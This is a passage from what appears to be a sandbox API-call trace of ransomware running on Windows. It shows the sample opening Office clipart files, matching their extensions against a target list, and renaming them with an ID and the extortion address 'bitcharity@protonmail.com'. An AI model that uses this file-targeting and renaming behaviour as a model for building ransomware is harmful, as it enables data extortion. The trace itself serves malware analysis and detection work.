dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00095_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00095_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.546] CloseHandle (hObject=0x1194) returned 1 [0262.547] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.547] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00211_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00211_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.548] CloseHandle (hObject=0x1194) returned 1 [0262.550] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.550] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00217_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00217_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.550] CloseHandle (hObject=0x1194) returned 1 [0262.551] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.551] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00218_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00218_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.552] CloseHandle (hObject=0x1194) returned 1 [0262.553] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.553] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00231_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.553] CloseHandle (hObject=0x1194) returned 1 [0262.556] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.556] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00234_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.557] CloseHandle (hObject=0x1194) returned 1 [0262.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.558] lstrlenW (lpString=".doc") returned 4 [0262.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.558] lstrlenW (lpString=".docx") returned 5 [0262.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.558] lstrlenW (lpString=".pdf") returned 4 [0262.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.558] lstrlenW (lpString=".xls") returned 4 [0262.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.573] lstrlenW (lpString=".xlsx") returned 5 [0262.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.573] lstrlenW (lpString=".ppt") returned 4 [0262.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.573] lstrlenW (lpString=".zip") returned 4 [0262.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.574] lstrlenW (lpString=".rar") returned 4 [0262.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString=".bz2") returned 4 [0262.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString=".7z") returned 3 [0262.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.574] lstrlenW (lpString=".dbf") returned 4 [0262.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.574] lstrlenW (lpString=".1cd") returned 4 [0262.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.574] lstrlenW (lpString=".jpg") returned 4 [0262.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.574] lstrlenW (lpString=".doc") returned 4 [0262.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString=".docx") returned 5 [0262.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.574] lstrlenW (lpString=".pdf") returned 4 [0262.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.574] lstrlenW (lpString=".xls") returned 4 [0262.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.575] lstrlenW (lpString=".xlsx") returned 5 [0262.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.575] lstrlenW (lpString=".ppt") returned 4 [0262.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.575] lstrlenW (lpString=".zip") returned 4 [0262.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.575] lstrlenW (lpString=".rar") returned 4 [0262.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.575] lstrlenW (lpString=".bz2") returned 4 [0262.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.575] lstrlenW (lpString=".7z") returned 3 [0262.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.575] lstrlenW (lpString=".dbf") returned 4 [0262.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.576] lstrlenW (lpString=".1cd") returned 4 [0262.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 68 [0262.576] lstrlenW (lpString=".jpg") returned 4 [0262.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.576] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0262.576] lstrlenW (lpString="TN00241_.WMF") returned 12 [0262.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1194 [0262.577] GetFileSizeEx (in: hFile=0x1194, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3980) returned 1 [0262.577] CloseHandle (hObject=0x1194) returned 1 [0262.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf")) returned 0x220 [0262.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1194 [0262.579] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.579] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00241_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.579] CloseHandle (hObject=0x1194) returned 1 [0262.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.579] lstrlenW (lpString=".doc") returned 4 [0262.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.579] lstrlenW (lpString=".docx") returned 5 [0262.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.579] lstrlenW (lpString=".pdf") returned 4 [0262.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.580] lstrlenW (lpString=".xls") returned 4 [0262.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.580] lstrlenW (lpString=".xlsx") returned 5 [0262.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.580] lstrlenW (lpString=".ppt") returned 4 [0262.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.580] lstrlenW (lpString=".zip") returned 4 [0262.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.580] lstrlenW (lpString=".rar") returned 4 [0262.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.580] lstrlenW (lpString=".bz2") returned 4 [0262.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.580] lstrlenW (lpString=".7z") returned 3 [0262.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.580] lstrlenW (lpString=".dbf") returned 4 [0262.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.580] lstrlenW (lpString=".1cd") returned 4 [0262.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.581] lstrlenW (lpString=".jpg") returned 4 [0262.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.581] lstrlenW (lpString=".doc") returned 4 [0262.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.581] lstrlenW (lpString=".docx") returned 5 [0262.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.581] lstrlenW (lpString=".pdf") returned 4 [0262.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.581] lstrlenW (lpString=".xls") returned 4 [0262.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.581] lstrlenW (lpString=".xlsx") returned 5 [0262.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.581] lstrlenW (lpString=".ppt") returned 4 [0262.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.582] lstrlenW (lpString=".zip") returned 4 [0262.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.582] lstrlenW (lpString=".rar") returned 4 [0262.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".bz2") returned 4 [0262.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString=".7z") returned 3 [0262.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.582] lstrlenW (lpString=".dbf") returned 4 [0262.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.582] lstrlenW (lpString=".1cd") returned 4 [0262.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 68 [0262.582] lstrlenW (lpString=".jpg") returned 4 [0262.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.583] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0262.583] lstrlenW (lpString="TN00246_.WMF") returned 12 [0262.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.844] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3956) returned 1 [0262.844] CloseHandle (hObject=0x1168) returned 1 [0262.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf")) returned 0x220 [0262.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.844] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.845] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.845] CloseHandle (hObject=0x1168) returned 1 [0262.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.845] lstrlenW (lpString=".doc") returned 4 [0262.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.845] lstrlenW (lpString=".docx") returned 5 [0262.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.846] lstrlenW (lpString=".pdf") returned 4 [0262.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.846] lstrlenW (lpString=".xls") returned 4 [0262.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.846] lstrlenW (lpString=".xlsx") returned 5 [0262.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.846] lstrlenW (lpString=".ppt") returned 4 [0262.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.846] lstrlenW (lpString=".zip") returned 4 [0262.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.846] lstrlenW (lpString=".rar") returned 4 [0262.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.846] lstrlenW (lpString=".bz2") returned 4 [0262.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.846] lstrlenW (lpString=".7z") returned 3 [0262.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.846] lstrlenW (lpString=".dbf") returned 4 [0262.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.846] lstrlenW (lpString=".1cd") returned 4 [0262.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.847] lstrlenW (lpString=".jpg") returned 4 [0262.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.847] lstrlenW (lpString=".doc") returned 4 [0262.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.847] lstrlenW (lpString=".docx") returned 5 [0262.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.847] lstrlenW (lpString=".pdf") returned 4 [0262.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.847] lstrlenW (lpString=".xls") returned 4 [0262.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.847] lstrlenW (lpString=".xlsx") returned 5 [0262.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.848] lstrlenW (lpString=".ppt") returned 4 [0262.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.848] lstrlenW (lpString=".zip") returned 4 [0262.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.848] lstrlenW (lpString=".rar") returned 4 [0262.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.848] lstrlenW (lpString=".bz2") returned 4 [0262.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.848] lstrlenW (lpString=".7z") returned 3 [0262.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.848] lstrlenW (lpString=".dbf") returned 4 [0262.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.848] lstrlenW (lpString=".1cd") returned 4 [0262.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 68 [0262.848] lstrlenW (lpString=".jpg") returned 4 [0262.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.848] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0262.849] lstrlenW (lpString="WB01299_.GIF") returned 12 [0262.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.850] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=318) returned 1 [0262.850] CloseHandle (hObject=0x1168) returned 1 [0262.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif")) returned 0x220 [0262.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0262.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1168 [0262.851] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.851] SetFilePointerEx (in: hFile=0x1168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.851] CloseHandle (hObject=0x1168) returned 1 [0262.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.851] lstrlenW (lpString=".doc") returned 4 [0262.851] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.851] lstrlenW (lpString=".docx") returned 5 [0262.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0262.851] lstrlenW (lpString=".pdf") returned 4 [0262.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0262.851] lstrlenW (lpString=".xls") returned 4 [0262.852] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0262.852] lstrlenW (lpString=".xlsx") returned 5 [0262.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0262.852] lstrlenW (lpString=".ppt") returned 4 [0262.852] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0262.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 68 [0262.852] lstrlenW (lpString=".zip") returned 4 [0262.852] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0262.852] lstrlenW (lpString=".rar") returned 4 [0262.852] 